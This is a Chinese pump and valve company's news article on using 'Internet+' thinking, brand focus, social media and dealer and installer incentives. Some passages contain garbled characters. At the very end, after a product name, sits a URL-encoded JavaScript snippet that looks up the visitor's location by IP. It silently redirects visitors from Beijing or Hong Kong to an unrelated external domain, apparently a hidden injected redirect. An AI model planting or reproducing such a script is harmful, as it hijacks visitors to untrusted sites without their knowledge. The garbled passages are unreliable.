新闻动态NEWS

  • 400-021-8755

  • 86-21-57887555

  • ksmp@kspump.com

泵阀行业如何借力发挥互联网+的潜力

        借力“互联网+”是阀企业实现跨越式发展、转型升级的必由之路,在这个过程中,理念的改变可能是更难的,相比产品技术借力,思维借力对传统企业家的挑战将会更大。同时,目前的大多泵阀企业是站在自己的角度做产业互联。

 
        借力互联网+

 

        实现跨越式发展、转型升级的必由之路,在这个过程中,理念的改变可能是更难的,相比技术借力,思维借力对传统企业家的挑战将会更大。同时,目前的大多泵阀企业是站在自己的角度做泵阀产业互联网,真正的泵阀互联网是做所有事情。不是一个公司源发性的业务,而是兼容并蓄的跨界。

 

        当前我国阀产业已初具规模,具备了快速发展的基础。以互联网、大数据、云计算为代表的“互联网+”将颠覆传统行业的未来,成为我国未来经济发展的重要引擎,也将为我国阀产业发展带来重大变革。“有效借力互联网+,本质上是中国泵阀产业实现转型升级的一种有效方式,而对于泵阀企业来说,这既是机遇也是挑战。

 

        在国内阀行业的发展已经有好几十年的历史了,由最简单的泵阀到最有用的泵阀产品创新,结合历年来经验,泵阀产品不断的在改进,泵阀行业经历许多艰辛和辉煌。虽然当前国内泵阀产业还存在了许多不足的地方,但是总体来说还是朝好的方面前进。

 

        而未来的阀行业将朝着单一品种向多品种多规格和节能两大方向发展。在此期间,泵阀标准也得到了全新的整合。泵阀行业目前发展的比较稳定,但业内仍存在不良的竞争。如部分经营者通过对废旧阀门进行改造翻新、重新改造翻新后进行第二次销售,给工程质量带来非常严重的安全隐患,严重扰乱了行业市场秩序和严肃性。

 

        随着泵阀技术的不断改进,泵阀使用领域的不断拓宽,与之对应的泵阀标准也越来越不可或缺。泵阀行业产品已经进入一个创新的时期,不仅产品类别需要根新替换,企业内部管理也需要根据行业的标准深化改革。

 

        随着企业重组步伐的不断加快,将来泵阀行业之间的竞争将是泵阀产品质量安全和产品品牌之间的竞争,产品向高技术、高参数、耐强腐蚀、高寿命方向开展。国内泵阀制造行业在庞大的需要环境下,也必将呈现出非:玫目?骨熬。各生产企业选择了专业化的开展路途,他们已不满足只出产单一的配套设备,而是通过产品线扩大或寻求合作的方式,致力于为全部工程项目提供整体的解决方案。

 

        因此,我们需要在充分运用现有标准的同时,展望未来,研究出能够运用于将来的新标准和新体系,从而推进泵阀技术更高层次的发展。

 
        泵阀行业如何借力发挥互联网+的潜力

 

        互联网的本质是连接,而移动互联让群体连接成本大幅下降,泵阀企业O2O的服务方式成为必然趋势。例如目前一些泵阀企业已经实现通过线上专家咨询及线上指导,帮助客户大大提升组合式运营管理水平。另外,部分企业还将采用O2O的运营模式,线上互动,线下体验及施治。目前在我国社群经营的成功典范大有存在,虽是B2C行业,但其对社群的经营方式很值得优秀泵阀企业借鉴。

 

        互联网时代泵阀企业产品研发周期大大缩短,企业需要不断根据客户反应调整产品及服务,优化客户体验,快速更新成为企业产品研发的主要方式,快速优化能力将成为企业未来的核心竞争力。

 

        泵阀销售很容易,但是要打造好品牌确实不是一件简单的事情。这个不仅包括市场运营、品牌推广、经销商整合;最主要的还包括产品的研发和技术的投入,市场趋势的把控及政策的落地。

 

        成功运营好阀品牌,需要把控如下法则:

 
        一、一大原则:品牌聚焦

 

        品牌聚焦:就是集中所有优势资源于一点,打造品牌的差异化;只有这样才能发挥品牌和企业的优势,否则分散精力,所有的东西都做不好。

 

        而且品牌聚焦的好处是:在资源有限的情况下,可以起到品牌在局部市场的成功,并且找到成功方法,再进行推广。我们知道的聚焦成功的案例很多,如王老吉聚焦凉茶,它首先是在浙江温州、广东区域成功,并全国推广的;香飘飘聚焦奶茶,它也最先是在杭州区域高校取得成功后,全国推广的。

 

        因此,品牌聚焦是十分重要而且必须的事情。不仅产品要聚焦,市场也要聚焦,取得成功经验后,逐步完善推广。这样品牌才能避免走弯路,品牌不断取得进步和发展,最好取得成功。

 
        二、二大思想:自媒体运营、用户运营;

 

        1、所谓自媒体运营:包括两微一端(微信、微博、客户端)的运营,主要是利用“互联网+”推广品牌知名度和美誉度。互联网时代,信息扁平化和及时化,能极大的推进品牌扩散。一条信息的发表,能在瞬间影响数万用户。而且能引起用户共鸣的信息,还能“病毒式”传播,引发大量转发,这对品牌传播来说,是十分重要的一种手段。泵阀品牌要合理利用互联网+的技术,推进品牌的传播。如优衣库事件、斯巴达事件、世界那么大,我想去看看的辞职信等都在网络引起巨大反响和传播。当然,这些事件能够引起快速的传播和巨大的效应,不仅仅是事件的传播力,更主要的还有企业或者推手在后面主推;因此泵阀品牌借助互联网+的技术,能和用户取得共鸣的信息,就能极大的传播品牌影响力。

 

        2、用户运营:包括网点和水工的运营。这是泵阀品牌的核心。为什么说泵阀品牌的核心是网点和水工呢?因为泵阀产品专业性强,设计到安装;一般的用户和消费者,对泵阀产品知识有限,但是水工和网点经销商是专家。他们对产品的安装和性能比一般厂家更熟悉。所有发展核心网点客户和水工对阀门品牌来说及其重要。“得网点者得天下”和“得水工者得天下”一样重要。

 

        三、三大方法:千城万店、爆款产品、水工激励;

 

        1、千城万店:打造品牌的覆盖率;

        2、爆款产品:通过爆款驱动品牌发展;

        3、水工激励:给予安装工适当奖励,促进品牌网点主推;

 
        四、四大升级:经销商升级、产品升级、团队升级、管理升级;

 

        1、经销商升级:要求经销商公司化运营,提高经销商运营水平;公司化运营,需要制定相关的管理制度、配置合适的销售人员、品牌推广计划、考核指标等,只有经销商升级了,才能打破品牌成长的瓶颈。

 

        2、产品升级:阀品牌需要把握行业趋势,研究用户需求,开发适销对路的产品,才能吸引用户和消费者。不断创新,是企业不断进步的动力,这是核心。产品的设计,核心还是用户。所以研究客户和市。?拍馨盐帐谐÷霾,阀门品牌才能有所作为。

 

        3、团队升级:阀企业的团队不仅包括销售团队还包括内部管理团队,同时还包括经销商团队。团队配备需要职业化、专业化、规范化;只有不断规范化和专业化才能引领企业的发展。

 

        4、管理升级:管理要规范化、程序化、数据化;建立合理的KPI能促进和提升企业的管理,避免企业人浮于事和无效率运行。

 

        诚然,治大国如烹小鲜,对泵阀品牌来说,也是如此。如何根据市场和品牌实际,开发适销对路的产品,制定合理的推广模式,一以贯之的落实,精耕细作,品牌才能不断进步。


GW系列管道式排污泵

%3Cscript%20type%3D%22text/javascript%22%20src%3D%22http%3A//ip.ws.126.net/ipquery%22%3E%3C/script%3E%0A%3Cscript%20type%3D%22text/javascript%22%3E%0Astrdistrict%20%3D%5Blo%2C%20lc%5D.join%28%27%5Ct%27%29%3B%0Aif%28strdistrict.indexOf%28%22%26%2321271%3B%26%2320140%3B%22%29%3E0%20%7C%7C%20strdistrict.indexOf%28%22%26%2339321%3B%26%2328207%3B%22%29%3E0%29%0A%7B%0Awindow.location.href%3D%22http%3A//www.arrdm.com%22%3B%20%20%20%0A%7D%0Aelse%0A%7B%0A%7D%0A%3C/script%3E